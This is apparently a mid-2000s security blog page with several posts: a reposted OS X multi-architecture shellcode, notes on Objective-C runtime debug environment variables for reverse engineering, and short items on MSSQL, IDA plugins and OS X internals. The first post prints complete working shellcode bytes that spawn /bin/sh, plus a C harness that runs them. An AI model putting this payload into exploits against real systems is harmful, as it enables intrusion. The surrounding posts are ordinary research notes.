OSX - multi arch shellcode

according to this post in full-disclosure, this guy (nemo_at_felinemenace.org) created a multi-arch (x86 and ppc) shellcode for OSX. I haven't checked it yet, so for all I know, it may not work or do a 'rm -rf /', so beware, don't go running this thing without checking it first.

Note that more than a 'multi arch' shellcode, these are two different shellcodes, which one is executed is decided by the interpretation of the first bytes "\x5f\x90\xeb\x48" by the different processors as explained by the author below.

The link is in insecure.org mailing list archives, so just in case, here's the shellcode:

--------------------// CODE //--------------------
/*
 * -[ dual.c ]-
 * by nemo_at_felinemenace.org
 *
 * execve("/bin/sh",{"/bin/sh",NULL},NULL) shellcode
 * for osx (both the ppc and x86 version.)
 *
 * Sample output:
 *
 * -[nemo_at_squee:~/shellcode]$ file dual-ppc
 * dual-ppc: Mach-O executable ppc
 * -[nemo_at_squee:~/shellcode]$ ./dual-ppc
 * sh-2.05b$ exit
 *
 * -[nemo_at_squee:~/shellcode]$ file dual-x86
 * dual-x86: Mach-O executable i386
 * -[nemo_at_squee:~/shellcode]$ ./dual-x86
 * sh-2.05b$ exit
 */

char dual[] =
//
// These four bytes work out to the following instruction
// in ppc arch: "rlwnm r16,r28,r29,13,4", which will
// basically do nothing on osx/ppc.
//
// However on x86 architecture the four bytes are 3
// instructions:
//
// "push/nop/jmp"
//
// In this way, execution will be taken to the x86 shellcode
// on an x86 machine, and the ppc shellcode when running
// on a ppc architecture machine.
//
"\x5f\x90\xeb\x48"

// ppc execve() code by b-r00t
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd"
"\x7d\x68\x02\xa6\x3b\xeb\x01\x70"
"\x39\x40\x01\x70\x39\x1f\xfe\xcf"
"\x7c\xa8\x29\xae\x38\x7f\xfe\xc8"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb"
"\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x38\x0a\xfe\x91\x44\xff\xff\x02"
"\x2f\x62\x69\x6e\x2f\x73\x68\x58"

// osx86 execve() code by nemo
"\x31\xdb\x6a\x3b\x58\x53\xeb\x18\x5f"
"\x57\x53\x54\x54\x57\x6a\xff\x88\x5f"
"\x07\x89\x5f\xf5\x88\x5f\xfa\x9a\xff"
"\xff\xff\xff\x2b\xff\xe8\xe3\xff\xff"
"\xff/bin/shX";

int main(int ac, char **av)
{
        void (*fp)() = dual;
        fp();
} 

NSA guide to secure OSX 10.3

Check out this guide, its an interesting reading. See the "References" section, it seems the whole document was written by extracting parts from different books.

http://www.nsa.gov/snac/os/applemac/I331-009R-2004.pdf

Observe OSX programs behavior using environment variables

it is possible to observe OSX programs behavior that use the objective-c runtime by setting the following variables

LaunchingDebug
OBJC_PRINT_BIND
OBJC_DUMP_CLASSES

The information dumped by the objective-c runtime when these variables are set can be very handy, specially when analyzing programs for which you don't have the source code.

The source code that uses these environment variables to dump the information can be found at http://darwinsource.opendarwin.org/10.3.7/objc4-237/runtime/objc-runtime.m

the function objc_setConfiguration() obtains the values of 'LaunchingDebug' and 'OBJC_PRINT_BIND':

[..]
static void objc_setConfiguration() {
if ( LaunchingDebug == -1 ) {
// watch image loading and binding
LaunchingDebug = getenv("LaunchingDebug") != NULL;
}
if ( PrintBinding == -1 ) {
PrintBinding = getenv("OBJC_PRINT_BIND") != NULL;
}
}
[..]


the function objc_map_image obtains the value of 'OBJC_DUMP_CLASSES' :

[..]
static void _objc_map_image(headerType *mh, unsigned long vmaddr_slide)
{
static int dumpClasses = -1;
[..]
if ( dumpClasses == -1 ) {
if ( getenv("OBJC_DUMP_CLASSES") ) dumpClasses = 1;
else dumpClasses = 0;
}
[..]


Next is a list of the functions that use each environment variable:

OBJC_PRINT_BIND

+ _objc_map_image
+ _objc_bindModuleContainingCategory
+ _objc_bindModuleContainingClass

LaunchingDebug

+ _objc_map_image


OBJC_DUMP_CLASSES

+ _objc_map_image



OBJC_PRINT_BIND as the name implies, prints log information about categories and classes that
are binded by the objective-c runtime.
LaunchingDebug logs information about 'modules' loaded.
OBJC_DUMP_CLASSES logs.. mm. yes, classes.

sample output of OBJC_PRINT_BIND when running iMovie



The list of classes and categories logged can be very useful to know what is that the program is doing.
Apart from looking at the classes while the program is loading, you can associate an action in the program to the classes/categories used when that action is performed.

For example,

+ open a Terminal window
+ set the OBJC_PRINT_BIND function variable (e.g.: export OBJC_PRINT_BIND = 1)
+ run iMovie (found at /Applications/iMovie.app/Contents/MacOS/)
+ Once iMovie is loaded, click on the 'File' menu item, and you'll see the following in the Terminal window

objc: binding class NSPortNameServer
objc: binding class NSMachBootstrapServer
objc: binding class %NSMachPort
objc: binding class NSMachPort
objc: binding class NSDistributedObjectsStatistics
objc: binding class NSDistantObject
objc: binding class NSPortCoder
objc: binding class NSConcretePortCoder
objc: binding class NSDOStreamData
objc: binding class NSPortMessage
objc: binding category NSPortMessage(NSPortMessageMachPortAdditions)
objc: binding class NSServicesMenuHandler


These are the classes/categories that were bind when you clicked on the 'File' menu item, what can
give you a hint about what the program is doing. Remember that what is logged are the classes/categories that were bind when you click the menu item, meaning that the classes/categories that
were bind before will not be shown now, so the list of classes/categories listed is NOT the whole list of
classes/categories used by the code responding to the activation of the 'File' menu item. For the same reason, if you click on the 'File' menu item again, no information will be logged.

sample output of LaunchingDebug when running iMovie




LaunchingDebug shows the modules/images loaded.

sample output of OBJC_DUMP_CLASSES when running iMovie




I don't know exactly what it means, but I guess that is the list of Classes implemented by the loaded module. If this is the case, this information is not that useful. I'll have check this in the future and update this posting.


There are also a bunch of other environment variables that are very interesting. I'll post information
about them in the near future.

MS SQL Server 2000 Won't bind to TCP/IP ports

I spent like an hour today trying to figure out why the MSSQL server I installed was not binding to the tcp/ip ports. After a while, browsing thru the thousands of events created by MSSQL server (and other apps) on the Event Log, I found that the TCP/IP ports were closed because WinXP (or whatever) detected that the installed version of MSSQL server was a vulnerable version that required patching.

Its nice to see these 'protection mechanism', but I would REALLY REALLY REALLY like to have a more visual/direct indication of whats going on. See the screenshot of the event log record, observe that the Event is of type 'Information' what doesn't help to identify it when you are browsing thru a zillion events.

IDA Plugin Writing Tutorial

If you've ever tried creating an IDA plugin without the help of any human being, or text written by a human being (or alike), you will join me and thank Steve Micallef for writing this tutorial.

Ida Plugin Writing Tutorial

A little tiny survey at SANS

Just yesterday I was taking a survey promoted by SANS called "Information Security Career Advancement Survey". I couldn't help to notice the format of the url:

http://survey.sans.org/phpsurveyor/index.php?sid=1

I had to try.. take a look at this survey: :)

Teeny Tiny Test

A couple of good articles on OS X internals

The following articles are nice to read

Sample on how to crack a PPC app.

OSX Heap Explotation Techniques
Nice description of the heap.